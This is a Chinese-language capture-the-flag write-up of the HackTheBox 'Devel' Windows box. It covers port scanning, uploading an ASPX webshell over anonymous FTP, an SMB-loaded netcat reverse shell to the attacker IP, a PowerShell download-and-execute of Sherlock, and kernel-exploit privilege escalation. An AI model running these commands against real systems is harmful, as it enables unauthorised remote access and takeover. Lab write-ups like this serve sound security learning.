简介
1.ftp文件上传配合IIS 7.5构造命令执行漏洞;
2.smb远程加载nc获取反弹shell;
3.systeminfo查看系统信息,Sherlock、watson查找n day;
4.windows-kernel-exploits获取exp执行提权;
文章目录
- 信息收集
- webshell
- priv: system
信息收集
端口扫描
1 | # Nmap 7.70 scan initiated Sat Dec 7 17:26:30 2019 as: nmap -sC -sV -p21,80 -oA nmap/Devel-vuln 10.10.10.5 |
21端口,ftp服务,版本:Microsoft ftpd
,存在匿名访问且ftp目录中含有iisstart.htm、welcome.png等文件,这几个文件一般出现的IIS 7.5的默认WEB访问路径中,可以考虑文件上传写webshell.
80端口,http服务,版本:Microsoft IIS httpd 7.5
,操作系统版本可能是Windows 7
或Windows Server 2008 R2
;
iis各版本对应操作系统版本
历史漏洞搜索
1. Microsoft ftpd
未找到历史漏洞;
2. Microosoft IIS 7.51
2
3
4
5
6
7
8
9
10$ searchsploit iis 7.5
-------------------------------------------------------------------------------------- ------------------------------------------------------------
Exploit Title | Path
| (/usr/local/opt/exploitdb/share/exploitdb/)
-------------------------------------------------------------------------------------- ------------------------------------------------------------
Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities | exploits/windows/remote/19033.txt
Microsoft IIS 7.5 (Windows 7) - FTPSVC Unauthorized Remote Denial of Service (PoC) | exploits/windows/dos/15803.py
-------------------------------------------------------------------------------------- ------------------------------------------------------------
Shellcodes: No Result
Papers: No Result
其中,15803为拒绝服务漏洞不用管,接下来先看一下19033,19033中包含两个IIS 7.5的漏洞,均是绕过ASP文件访问限制的,那么前提是有ASP文件,后续可以目录枚举。
3. ftp匿名访问
尝试匿名访问ftp服务,有上传下载的权限,且通过http服务可以访问上传的文件,可解析aspx文件。
webshell -> reverse shell
复制、修改并上传SecLists字典里的cmd.aspx文件到ftp目录下,然后访问即可执行操作系统命令,然后发现还不是SYSTEM权限,开始准备提权。
获取目标系统的shell方便后续提权,获取Windows机器shell的方法见:How to get reverse shell in Windows;这里使用smb共享远程加载nc获取反弹shell:1
2
3
4
5
6
7
8
9
10
11# kali开启端口监听,mac下nc监听无法用lvvp参数,一般lv代替
$ nc -lvvp 4444
# kali开启smbserver服务并设定好共享的路径
$ smbserver.py owef /tmp
# 复制nc.exe到/tmp目录中
$ cp / /tmp/
# 通过webshell执行命令获取反弹shell
$ \\10.10.14.39\owef\nc.exe -e cmd.exe 10.10.14.39 4444
priv: SYSTEM
内部信息收集
1.systeminfo
命令查看系统的基本配置信息;
2.reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
查看.NET Framework的版本;
3.使用第三方工具(Waston、Sherlock)搜集系统中可能存在的漏洞;
tips://Waston需要根据目标系统的.net版本进行编译,可以优先使用PowerShell脚本Sherlock进行信息枚举;1
2# 执行Sherlock,由于可以ftp匿名上传,因此可以选择将exp通过ftp上传,然后执行;这里使用powershell直接加载,不落盘
$ powershell -exec Bypass -C "IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.39/Sherlock.ps1');Find-AllVulns"
通过Sherlock找到:MS15-051、MS10-092、MS10-015;
通过waston找到额外的MS11-046;
利用windows-kernel-exploits找到漏洞对应的exp,执行提权获取user和root的flag.